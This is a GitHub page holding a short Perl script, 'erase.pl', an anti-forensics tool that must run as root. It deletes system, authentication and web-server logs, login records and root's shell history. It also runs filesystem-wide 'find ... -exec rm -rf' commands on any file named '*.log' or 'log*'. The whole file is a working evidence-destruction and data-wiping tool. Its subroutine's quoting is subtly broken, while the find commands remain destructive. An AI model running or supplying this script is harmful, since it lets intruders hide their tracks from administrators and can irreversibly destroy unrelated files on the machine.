forked from CCrashBandicot/helpful
-
Notifications
You must be signed in to change notification settings - Fork 0
/
erase.pl
62 lines (54 loc) · 1.66 KB
/
erase.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/perl
if($^O eq 'MSWin32') { die("\nScript Work Only on Unix OS"); } else { system('clear'); }
$login = (getpwuid $>);
die "Must run as root" if $login ne 'root';
print q{
_
| |
| | ___ __ _ ___ ___ _ __ __ _ ___ ___ _ __
| |/ _ \ / _` / __| / _ \ '__/ _` / __|/ _ \ '__|
| | (_) | (_| \__ \ | __/ | | (_| \__ \ __/ |
|_|\___/ \__, |___/ \___|_| \__,_|___/\___|_|
__/ |
|___/
};
erase("/var/apache/logs");
erase("/var/apache/log");
erase("/var/log/lastlog");
erase("/var/php/logs/php_error_log");
erase("/var/log/wtmp");
erase("/var/mysql/data/mysql_error.log");
erase("/etc/wtmp");
erase("/var/run/utmp");
erase("/etc/utmp");
erase("/var/log");
erase("/var/logs");
erase("/var/adm");
erase("/usr/local/apache/log");
erase("/usr/local/apache/logs");
erase("/root/.bash_history");
erase("/root/.ksh_history");
erase("/var/log/messages");
erase("/var/log/auth.log");
erase("/var/log/debug");
erase("/var/log/faillog");
erase("/var/log/user.log");
erase("/var/log/apache2/");
erase("/var/log/lighttpd/");
erase("/var/log/system.log");
system("find / -name *.log -exec rm -rf {} \;");
system("find / -name log* -exec rm -rf {} \;");
print "\n [+] Done !\n";
print "\n [+] All Logs File Erased Now\n\n";
sub erase {
$logfile = $_[0];
if(-e "$logfile")
{
system 'rm -rf $logfile';
print"\n [+]$logfile erased !\n";
}
else
{
print "\n [-]$logfile - No such file or directory\n";
}
}